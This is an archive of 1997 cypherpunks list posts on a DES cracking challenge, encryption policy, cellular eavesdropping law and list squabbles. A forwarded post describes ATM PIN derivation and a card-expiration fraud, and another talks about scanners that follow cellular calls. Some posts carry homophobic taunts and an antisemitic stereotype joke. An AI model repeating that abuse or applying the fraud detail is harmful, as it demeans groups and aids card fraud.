To: "'THEAUDIN'" <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=thea0594+40eurobretagne+2Efr+3B@chemson.com>
Subject: RE: stop
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970117131736Z-285@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


>please stop thea0594@eurobretagne.fr    posting spam to the list !
please stop thea0594@eurobretagne.fr    being an annoying little
>paracite !
>please stop thea0594@eurobretagne.fr    from becoming repetitive !
>please stop thea0594@eurobretagne.fr    typing please stop
>thea0594@eurobretagne.fr !
please stop thea0594@eurobretagne.fr    sending unsubscribe messages to
>the whole list !
>please stop thea0594@eurobretagne.fr    filling my mail-box with crap !
please stop thea0594@eurobretagne.fr    from breathing !
please stop thea0594@eurobretagne.fr    sounding like a broken record !

I don't know what you want to be stopped from doing but any one of the
above might be a good place to start

Scott
>:-)
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 17 Jan 1997 12:07:38 -0800 (PST)
To: cryptography@c2.net
Subject: DES Key Recovery Project, Progress Report #6.
Message-ID: <199701172006.MAA20293@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DES Key Recovery Project, Progress Report #6.

Well, RSA now has put up the official rules, and some
test data, for the DES Key Recovery Project. See
http://www.rsa.com/rsalabs/97challenge/ if you haven't
already. The actual challenge will be posted 28 Jan, and
the prize will be $10,000. 

I've had some nibbles of interest from the FPGA community,
but not too much yet. If you know anyone with FPGA or ASIC
hardware handy, tell them about the project, and point them
at Wiener's paper (it can be found at 
http://www.aist-nara.ac.jp/Security/doc/ among locations.

My software is complete, except for one thing: I have not
incorporated Svend Olaf Mikkelsen's new Pentium code
(see http://inet.uni-c.dk/~svolaf/des.htm). This is about
25% faster than mine, and well worth the extra effort. The
conversion turns out to be non-trivial; it uses a different
initial and final perm, the key schedules look different, and
the rounds seem to carry a lot of context from one round to the
next in the registers. All but the final problem is not too
important - the data are all different by simple permutations,
and the conversion is not too hard.

The final problem is more interesting, since I do the first
DES round only part of the time. This means that I'll have to
do more context setup for those times when I'm starting at 
the second round (most of the time), and preserve that extra
context after the times I *do* run the first round.

The other problem is that the 'half-matches' and penultimate
round half-matches will be different for the two systems. This
complicates results checking.

Anyway, come Monday, I want to email to a few people the 
generic 'C' code, along with my assembler version. If you're
interested in doing a serious critique and/or porting of the 
code, and are a US/Canadian citizen living in the US/Canada, 
then email me with a statement to that effect. I'm only sending
out a few copies - this is a slow beta, after all.

If I don't get the Mikkelsen code in there by Monday, it 
should follow soon thereafter.

After the DES Challenge is underway, I may try looking at
the RC5 Challenges.

Who else will be attending Verisign Partner Days or the 
RSA Data Security Conference at the end of the month? I'd
like to meet some of the other participants on this list.

Peter Trei
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 17 Jan 1997 13:50:55 -0800 (PST)
To: roach_s@alph.swosu.edu (Sean Roach)
Subject: Re: Newt's phone calls
In-Reply-To: <199701171921.LAA18808@toad.com>
Message-ID: <199701172144.PAA02593@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sean Roach wrote:
> I had to tell my sister not to use the cordless phone to use the automated
> banking services that our bank has available on grounds that transfers are
> also available through the same service.

It is my understanding that an ordinary banking consumer that
uses "pay bills by phone" service cannot transfer $$ to any arbitrary
account. There is a limited list of permitted accounts, such as utility 
companies. Therefore, the risk of unauthorized transfer is very
limited.

I would not be worried about this issue at all. The world at large is
insecure in very many respects: it is easy to find out credit card
numbers, overhear conversations, install hidden microphones, hack
into computers, etc etc. It does not mean that we should stop all 
activity simply because there is "some" risk of losses.

> Our father is a math teacher, computer hobbyists since 1979.  Both of my
> parents have college educations.  My sister pegged the scales on the state
> distributed proficiency tests.  Yet she knows practically nothing outside of
> her field.  I will probably have to show her the values of cryptography
> before she actually has any patient records to deal with, (she's a pharmacy
> major.)

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ca3sal@isis.sunderland.ac.uk (Stephen.George.Allport)
Date: Fri, 17 Jan 1997 07:47:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701171546.PAA08870@cis515.cis.sund.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain


Greg Taylor wrote

>After following this thread for some time, I have to question whether
>Americans realise how far behind the rest of the world they are in
>cellphone technology.

With the attention the US media give of the UK's royal family and the fomer
Princess of Wales I'm suprised the nobody did anything in the US after the
"squigy tapes" a couple of years back.

Ste




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "T. O'Brien" <tobrien@comet.net>
Date: Fri, 17 Jan 1997 12:58:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <32DF143F.37B2@comet.net>
MIME-Version: 1.0
Content-Type: text/plain


 Unsubcribe




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 17 Jan 1997 13:02:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: (U.S.) National Cryptography Policy (paper and report)
Message-ID: <v0300781caf059945bb9c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date:         Fri, 17 Jan 1997 14:09:24 CST
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Lyonette Louis-Jacques <llou@MIDWAY.UCHICAGO.EDU>
Subject:      (U.S.) National Cryptography Policy (paper and report)
Comments: To: net-lawyers@eva.dc.LSOFT.COM
To:           CYBERIA-L@LISTSERV.AOL.COM

I'm forwarding this post to the CYBERIA-L and NET-LAWYERS lists as I
think subscribers might be interested in these documents (include
discussion of export controls), and their implication for
international communications.  Cheers, Lyo (Lyonette Louis-Jacques at
llou@midway.uchicago.edu):

Cryptography and the National Resource Council: The Role of Private Groups
in Public Policy, by Kenneth W. Dam, is now available on the Web.

http://www.law.uchicago.edu/Publications/Occasional/

The Role of Private Groups in Public Policy is adapted from a
presentation made to the Presidents' Circle of the National Academy of
Sciences and the Institute of Medicine, Washington, D.C., November 21,
1996.  It was recently issued as Occasional Paper No. 38 by the University
of Chicago Law School.

Kenneth W. Dam, Max Pam Professor of American and Foreign Law, University
of Chicago Law School, was the Chair of the National Research Council's
Committee to Study National Cryptography Policy.  The Committee unanimously
recommended eliminating restrictions on domestic use of encryption, and
progressively relaxing restrictions on export.  The government's concerns
that national security and law enforcement agencies would be unable to
eavesdrop on criminals and terrorists must be balanced against the dangers
that American firms would be unable to lawfully use encryption strong enough
to protect electronic commerce, and that American software developers,
forced to use key escrow/key recovery encryption in their products ("a
Maginot Line of defense against hackers") would find no market for their
products.

A late draft of the Committee's Report, "Cryptography's Role in Securing
the Information Society," is available at their home page:

http://www2.nas.edu/cstbweb/2646.html

-----------
                                              Paradise is exactly like
                +                             where you are right now
      .&______~*@*~______&.       m           only much, much, better
    "w/%%%%%%%%%%%%%%%%%%%\w"    mmm***       ------------------------
      `Y""Y""Y"""""Y""Y""Y'      mm*****      Language -- it's a shipwreck,
   p-p_|__|__|_____|__|__|_q-q   mm**Y**      it's a job - Laurie Anderson
_-[EEEEM==M==MM===MM==M==MEEEE]-_.|..|....    (two .sigs sighted on the Net)

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 17 Jan 1997 13:16:50 -0800 (PST)
To: technomads@ucsd.edu
Subject: Albuquerque, Anyone?: Hettinga goes on the road...
Message-ID: <v0300781eaf059ad5005a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


I'm going to be in Albuquerque seeing family for a week starting tomorrow.

Any cypherpunks/e$/technomads folks out there wanna quaff a few, I'd be up
for it.

Also, I'm looking a temporary PPP dial-up in the Albuquerque for the week
I'm there.  No mail or news, just PPP, so I can hit my POPserver and run
e$pam in remote-mode. Neither rain, nor snow, nor altitude, etc. can keep
the e$pamster from his appointed rounds...

Thanks!

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rodrigo Espirito Santo <res@unidyne.uni.pt>
Date: Fri, 17 Jan 1997 07:31:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Get me off this fucking list, or else.... (fwd)
Message-ID: <Pine.LNX.3.91.970117163041.5307B-100000@unidyne.uni.pt>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 17 Jan 1997 16:30:25 +0000 (GMT)
From: Rodrigo Espirito Santo <res@unidyne.uni.pt>
To: cypherpunks@toad.com
Cc: cypherpunks@toad.com
Subject: Get me off this fucking list, or else....

Hey you dumb asses, i tried to unsubscribe this list in the correct way 
but you guys don't know SHIT about this!!!!1
If you don't get me out now i'll subscribe each and every one of you to 
some goddamn gay and lesbiann and freak mailing list!!!!!!
get me out!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Fri, 17 Jan 1997 16:35:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Revokation Scheme
In-Reply-To: <3.0.1.32.19970117120914.00639400@popd.ix.netcom.com>
Message-ID: <32E01A37.702D@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
[...]
>Key revocation certificates don't leak your private keys,
>so the only risk if the Bad Guys get a copy is denial of service,
>including the pain of rebuilding all your connections, etc.;

I concur. Depending on your application (it always depends on your
application), it's probably better to risk a spurious revocation than
an interception.

You needn't completely lose your connection to the web of trust,
either. I've already generated a "next" key signed by my current key,
just in case. No, the path server won't follow revoked keys, but
someone not yet in possession of the revocation certificate is
somewhat more likely to accept a message from someone with a key signed
by your old key and in possession of the revocation certificate.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BJORN2LUZE@prodigy.com (NATHAN MALLAMACE)
Date: Fri, 17 Jan 1997 22:02:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Jewish English: Hebonics
Message-ID: <199701172152.QAA21520@mime4.prodigy.com>
MIME-Version: 1.0
Content-Type: text/plain


-------

http://pages.prodigy.com/VT/  look for the most updated link there...


-------

If you have already read this, I suggest you PRINT IT this time and 
delete it. If you HAVEN'T READ IT YET. Make a copy and post it on 
some other mailing list. Read on... Wyane.

-

>>Jewish English or "Hebonics"
>>
>>The Encino School Board has declared Jewish English a second 
language.
>>Backers of the move say the district is the first in the nation to
>>recognize Hebonics as the language of many of American Jews.  Here 
are
>>some descriptions of the characteristics of the language, and 
samples
>>of phrases in standard English and Jewish English.
>>
>>Samples of Pronunciation Characteristics
>>
>>Jewish English or "Hebonics" hardens consonants at the ends of 
words.
>>
>>Thus, "hand" becomes "handt."
>>
>>The letter "W" is always pronounced as if it were a "V".  Thus
>>"walking" becomes "valking"
>>
>>"R" sounds are transformed to a guttural utterance that is 
virtually
>>impossible to spell in English.  It is "ghraining", "algheady"
>>
>>
>>Samples of Idiomatic Characteristics:
>>
>>Questions are always answered with questions:
>>   Question: "How do you feel?"
>>   Hebonics response: "How should I feel?"
>>
>>The subject is often placed at the end of a sentence after a 
pronoun
>>has been used at the beginning:  "She dances beautifully, that girl.
"
>>
>>The sarcastic repetition of words by adding "sh" to the front is 
used
>>for emphasis.
>>
>>  mountains becomes "shmountains"
>>  turtle becomes "shmurtle"
>>
>>
>>Sample Usage Comparisons:
>>
>> Standard English Phrase             Hebonics Phrase
>>
>> "He walks slow"        -      "Like a fly in the ointment he 
walks"
>>
>> "You're sexy"          -      (unknown concept)
>>
>>"Sorry, I do not know   -      "What do I look like, a clock?"
>> the time"
>>
>> "I hope things turn    -      "You should BE so lucky"
>> out for the best"
>>
>>"Anything can happen"    -     "It is never so bad, it can't get 
worse"


Interesting?
Sorry, I wasn't the one who wrote this.. It's just interesting to me.

Nathan




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 17 Jan 1997 16:56:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Forgery detection
Message-ID: <199701180056.QAA20554@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May's reheated, refurbished, and regurgitated 
cud is completely inappropriate for the mailing lists 
into which it is cross-ruminated.

           |||~
          (0 0)
      _ooO_(_)_Ooo__ Timmy C. May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Fri, 17 Jan 1997 17:01:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <199701172144.PAA02593@manifold.algebra.com>
Message-ID: <32E02050.735D@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> I would not be worried about this issue at all. The world at large is
> insecure in very many respects: it is easy to find out credit card
> numbers, overhear conversations, install hidden microphones, hack
> into computers, etc etc. It does not mean that we should stop all
> activity simply because there is "some" risk of losses.

I agree. Security in terms of theft really doesn't concern me most of
the time. If someone steals your credit card or bank number, chances are
you'll get everything back without too much trouble (exceptional
"identity theft" cases notwithstanding). My life is structured such that
even if someone stole my car and burned down my house, I'd hardly mind.
I've got friends to stay with, I can bike to work, and I've got enough
insurance. Money is just money; I've got an average amount, which is
more than I need.

What does concern me is personal privacy. I don't want people tracking
my movements or purchasing patterns, so I prefer to use cash or
pseudonymous debit cards.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff_Woodruff@holderness.org (Jeff Woodruff)
Date: Fri, 17 Jan 1997 11:29:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: reply
In-Reply-To: <199701162230.RAA04447@Alpha.remcan.ca>
Message-ID: <61406.3700372@holderness.org>
MIME-Version: 1.0
Content-Type: text/plain



This message sent using the FirstClass SMTP/NNTP Gateway for Mac OS.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sarah L. Green" <greens@hiwaay.net>
Date: Fri, 17 Jan 1997 15:56:34 -0800 (PST)
To: Chip Mefford <chip@avwashington.com>
Subject: Telecomm Act Reference (Was Re: Newt's phone calls)
In-Reply-To: <v03007817af056d50d0fd@[207.79.65.35]>
Message-ID: <Pine.LNX.3.91.970117171321.23498A-100000@osprey.sga.com>
MIME-Version: 1.0
Content-Type: text/plain


>From Damien Thorn's 'A CELLULAR COMMUNICATIONS PRIMER'
(at http://www.l0pht.com/~drwho/cell/texts/thorn1192.txt)

To calm fears that cellular calls were not private, the cellular
industry lobbied congress into passing legislation known today as the
Electronic Communication Privacy Act (ECPA) of 1986 which makes it a crime
to monitor cellular phone calls and a host of other transmissions like
digital pagers.  This law is used by cellular equipment dealers and 
service providers to reassure customers that their conversations will 
remain private.


Sarah.
==============================================================================
Sarah L. Green          Hey, I never claimed to be                >>osprey<<
Madison, AL  (USA)        a genius  nor a typist           greens@hiwaay.net 
==============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 17 Jan 1997 18:08:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Enough is Never Enough -- pro-CDA alliances, from TNNN
Message-ID: <Pine.GSO.3.95.970117180517.13719E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 17 Jan 1997 18:04:35 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Enough is Never Enough -- pro-CDA alliances, from TNNN

[Attached are two excerpts from the article. For the rest, check out:
http://cgi.pathfinder.com/netly/textonly/1,1035,549,00.html --Declan]

********

The Netly News Network
http://netlynews.com/

Enough Is Never Enough
By Declan McCullagh (declan@well.com)
January 17, 1997

       A broad coalition of conservative and anti-pornography groups and
   individuals will file legal briefs next Tuesday in the Supreme Court
   supporting the government's defense of the Communications Decency Act,
   The Netly News has learned.
   
       The alliance includes longtime supporters of the act, such as
   Enough is Enough, Focus on the Family, and the National Association of
   Evangelicals. Members of Congress will join a separate brief that the
   National Law Center for Children and Families is preparing.
   
       But a letter from the attorney representing the coalition asked
   the ACLU for permission to file a brief "on behalf of" 59 plaintiffs,
   including such unlikely participants as the National Association for
   the Advancement of Colored People, PBS, SafeSurf... and Netscape.
   
       Netscape? The company that lobbied against the CDA? A firm with a
   reputation of putting their balls on the chopping block when fighting
   for Net-issues on Capitol Hill? Netscape was as shocked as I was to
   learn about their participation. "It wasn't authorized by me or my
   office. This is flabbergasting," Peter Harter, public policy counsel
   for Netscape, said. "I'd be crucified if this happened."

[...]
   
       In their brief, which argues sociological rather than legal
   points, the groups hope to highlight the "dangers" of pornography
   online. They plan to supply the court with "legislative facts" to
   support the position Congress took when crafting the bill. The
   document also will include statistics discussing the effects of the
   Internet on children and the availability of material covered by the
   law. (Marty Rimm, where are you now?)
   
       Donna Rice-Hughes from Enough is Enough says: "It discusses three
   primary areas of our concern: letting the court know the problems on
   the Internet. Adult pornography, indecency, and child porn as well. A
   section on the harms of pornography. And a section dealing with the
   compliance issues: Is it feasible technically to comply with the CDA?"

[...]
   
       Chris Stamper and Noah Robischon contributed to this report.
   






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 17 Jan 1997 20:02:47 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <DucP1D6w165w@bwalk.dm.com>
Message-ID: <32E04544.7491@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> snow <snow@smoke.suba.com> writes:
> > > I say we make people fly naked and ship their stuff via UPS ;).

> >     >>shudder<<
> >     No!. A clear case of the cure being worse than the disease...

> Why. it might be fun - those long flight can be so boring with clothes on...

This one I really don't understand.  Cypherpunks lobbied heavily for
the Final Solution to Spamming and flaming, now along comes the perfect
solution to the airport security problem, and nobody's gonna go for it.

Guess those old, out-of-shape guys don't want anybody laughing at them.
Besides, they can put all the clothes in the same plane's baggage
compartment.  And planes have those little blankets and pillows,
so what's the problem?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 17 Jan 1997 20:02:50 -0800 (PST)
To: "Sarah L. Green" <greens@hiwaay.net>
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.LNX.3.91.970117061357.21132C-100000@osprey.sga.com>
Message-ID: <32E04936.58DE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sarah L. Green wrote:
> On Thu, 16 Jan 1997, Phillip M. Hallam-Baker wrote:
> > It was a conference call but over a cellular phone. Martin had hacked
> > his Radio Shack Scanner using a well known technique. He had a radio
> > ham license.

> Actually I'd love to see this go to court & have the law itself
> tossed out.  How many years have the airwaves been free?  Now it is
> illegal to listen on the cellular frequencies.

They're not gonna toss the law out, since the law doesn't really deal
with thought crimes, i.e., hearing something you're not supposed to
hear. The law allows them to prosecute people who deliberately monitor
to collect information which can be used against the people being
monitored, or to take advantage of them (steal trade secrets, etc.).

There's a presumption that the person about to be prosecuted has a
collection of information somewhere (on paper, on disk....) that they
otherwise could not possibly have gotten legally.

I've listened to judges describe something similar, in person - the
use of mailing lists by former employees, usually salespeople, where
the names/addresses and other info on the list might be proprietary.

Lawyers for scumbags love to sue over this one, since it's harder for
a judge to declare bad faith or a frivolous suit against the plaintiff
when the issue is unfair competition instigated by "theft" of a mailing
list.  The rule comes down to whether the info is generally available
legally, or whether it absolutely had to have been gotten illegally.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 17 Jan 1997 20:02:55 -0800 (PST)
To: "Sarah L. Green" <greens@hiwaay.net>
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.LNX.3.91.970117062037.21132D-100000@osprey.sga.com>
Message-ID: <32E04A68.3CE1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sarah L. Green wrote:
> On Wed, 15 Jan 1997, Bill Frantz wrote:
> > At 7:07 PM -0800 1/14/97, Eric Murray wrote:
> > The 1935 communication act made it illegal to pass on what you had heard
> > when listening to certain radio services.  Listening was OK.  Telling
> > others wasn't.

>         A more recent act made it illegal to monitor celular frequencies,
>         and to make equipement that receives or could easily be
>         modified to receive cellular frequencies.

Scanner manufacturers have been getting around a lot of this by putting
ever more of the scanner's intelligence on EEPROM or flash chips, and
providing a computer interface to the scanner.

Software to do the rest can be gotten thru the web, or thru addresses
in 2600 or 411 magazine. I'm getting anxious to get a new scanner that
can follow the cellular hopping, ditto for police using the new trunked
systems that also hop frequencies, ditto for decoding digital, and for
decoding other common scrambling like the crap that Motorola puts out.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 17 Jan 1997 17:30:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701171832.MAA00342@smoke.suba.com>
Message-ID: <DucP1D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > I say we make people fly naked and ship their stuff via UPS ;).
>
>     >>shudder<<
>
>     No!. A clear case of the cure being worse than the disease...

Why. it might be fun - those long flight can be so boring with clothes on...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 17 Jan 1997 17:30:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Kill filing
In-Reply-To: <Pine.LNX.3.95.970117082837.5142H-100000@dhp.com>
Message-ID: <J9cP1D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Stop acting so stupid, Michael.
>
> On Thu, 16 Jan 1997, Dale Thorn wrote:
>
> > Michael Gurski wrote:
> > > On Thu, 16 Jan 1997, Robert Hettinga wrote:
> > > > At 1:05 pm -0500 1/16/97, Ed Falk wrote:
> >
> > > > And, in my case, Eudora displays each message in the status window as i
> > > > bringing something down from the POP server, and again as it filters.
> > > > So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder
                                 ^^^^^^
Michael is so stupid, he can't spell "Kansas". That's why he's a "cypher punk".

> > > I used to have procmail shove messages from certain folks directly to
> > > /dev/null, but then wondered a few days ago if I were missing
> > > anything, so they ended up going to $MAILDIR/.in.garbage.  After
> > > looking in there today, I'm glad to say that it's back to /dev/null,
> > > with no regrets. Of course, with the new moderated list, there shouldn't
> > > be too much work for procmail, except for those folks who I personally
> > > feel aren't worth reading...
> >
> > Michael, please tell me and everyone else at cypherpunks just why it
> > is we should give a shit at all what your personal killfile habits
> > are, and whether we should give a shit about whether you think anyone
> > on this list is or isn't worth reading.
> >
> > You and a thousand other clowns seem to think this is cool to do,
> > but you're actually pointing back at yourself with this kind of crap.

The jerks who describe in detail whom they killfile (like Hettiga) always lie.
Control freaks are really obsessed with the people they claim to "plonk",
and read everything their "enemies" write with great interest.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 17 Jan 1997 20:18:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <32D30EFB.5F8@gte.net>
Message-ID: <32E04EE4.514E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Total subscribers for:

Tue 14 Jan: 13
Wed 15 Jan: 15
Thu 16 Jan: 13
Fri 17 Jan: 14

Looks like one of two things:
Either nobody wants the unedited list, or, some of the "regular people"
subscribe to the edited list and "flames" list separately, to get both.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 17 Jan 1997 17:41:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: UNSUBSCRIBE
In-Reply-To: <199701172045.MAA12756@peregrine.eng.sun.com>
Message-ID: <uRDP1D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ed.falk@Eng.Sun.COM (Ed Falk) writes:

> Could someone help this luser?  Is he responding like this to every post
> on the list?
>
> ----- Begin Included Message -----
>
> >From spooke@ita.flashnet.it  Fri Jan 17 12:44:24 1997
> X-Sender: rm02129@ita.flashnet.it
> Mime-Version: 1.0
> Date: Fri, 17 Jan 1997 21:45:00 +0100
> To: ed.falk@Eng (Ed Falk)
> From: Spooke <spooke@ita.flashnet.it>
> Subject: UNSUBSCRIBE
>
> globalkos.org
> >>
> >> Hi, my name is Tod, and I really want to be a cool hacker, ...
> >
> >This has *got* to be a troll.  Nobody could be this clueless.
> >
> >
> >Well, actually, they could.
> >
> >
>
>
>
> ----- End Included Message -----
>

Is he clueless enough to qualify as "cypher punk" or does one have to
be verifiably homosexual as well?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Petro <petro@suba.com>
Date: Fri, 17 Jan 1997 19:21:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: cash machine PINheads (fwd)
In-Reply-To: <E3KH0p.55F@xcski.com>
Message-ID: <199701180321.VAA21345@suba01.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


------- start of forwarded message -------
Path: news.suba.com!feeder.chicago.cic.net!wolverine.hq.cic.net!news.neca.com!news.shkoo.com!news1.mpcs.com!hammer.uoregon.edu!arclight.uoregon.edu!news.bbnplanet.com!su-news-hub1.bbnplanet.com!csn!nntp-xfer-1.csn.net!news.hemi.com!news
From: Tkil <tkil@scrye.com>
Newsgroups: alt.sysadmin.recovery
Subject: cash machine PINheads
Date: 16 Jan 1997 11:27:04 -0700
Organization: Scrye.com
Lines: 59
Sender: tkil@creepy.scrye.com
Approved: yup.
Message-ID: <m3680xfpc7.fsf_-_@creepy.scrye.com>
References: <E3KH0p.55F@xcski.com> <5bh6ke$5rr@illuin.demon.co.uk> <5bhhd5$dfv$1@comet3.magicnet.net> <spberry.853431573@endeavor.ansci.iastate.edu>
NNTP-Posting-Host: ppp2.hemi.com
X-Attribution: Tkil
X-Newsreader: Red Gnus v0.80/Emacs 19.34


found in <URL: http://axion.physics.ubc.ca/atm.html>:

   A number of security systems were developed, of which two captured
   most of the market. These were the IBM system, launched in 1979;
   and the VISA system, which extended it and was introduced shortly
   afterwards. These systems relate the PIN to the account number in a
   secret way. The idea is to avoid having a file of PINs, which might
   be stolen or copied. and to make it possible to check PINs in the
   ATM itself so as to allow transactions when it is not online to the
   bank's central computer site. The definitive reference is Meyer and
   Matyas' huge book Cryptography: a new dimension in computer data
   security; there is a shorter account in Davies and Price Security
   for Computer Networks.
   
   PINs are calculated as follows. Take the last five significant
   digits of the account number, and prefix them by eleven digits of
   validation data. These are often the first eleven digits of the
   account number; they could also be a function of the card issue
   date. In any case, the resulting sixteen digit value is input to an
   encryption algorithm (which for IBM and VISA systems is DES, the US
   Data Encryption Standard algorithm), and encrypted using a sixteen
   digit key called the PIN key. The first four digits of the result
   are decimalised, and the result is called the `Natural PIN'.
   
   Many banks just issued the natural PIN to their customers. However,
   some of them decided that they wished to let their customers choose
   their own PINs, or to change a PIN if it became known to somebody
   else. There is therefore a four digit number, called the offset,
   which is added to the natural PIN to give the PIN which the cusomer
   must enter at the ATM keyboard.

and from <URL: http://catless.ncl.ac.uk/Risks/14.76.html>:

   *The Risks Digest Volume 14: Issue 76*

   [...] How is it possible to use an EXPIRED card to make $8000 in
   cash advances?
   
   It's possible because the ATM's verification center ONLY checks if
   the card number is on a list of STOLEN/LOST cards. If the card is
   not stolen/lost, the verification center then performs a
   verification check of the information FROM THE CARD ITSELF, not
   from some other database.
   
   So the perpetrators just wrote a new expiration date on the
   magnetic stripe of their fake card; the ATM verification center
   verified that the date hadn't yet passed and that was that.
   
my apologies for the useful info, but the "yes it is" "no it isn't"
bit was getting even more irritating.  both of these items have quite
a bit more text to them that makes for interesting reading -- i just
excerpted the bits that dealt with where the PIN was verified.

t.
-- 
Tkil <tkil@scrye.com> emacs evangelist, hopelessly hopeless romantic
  "Like brittle things that break before they bend"
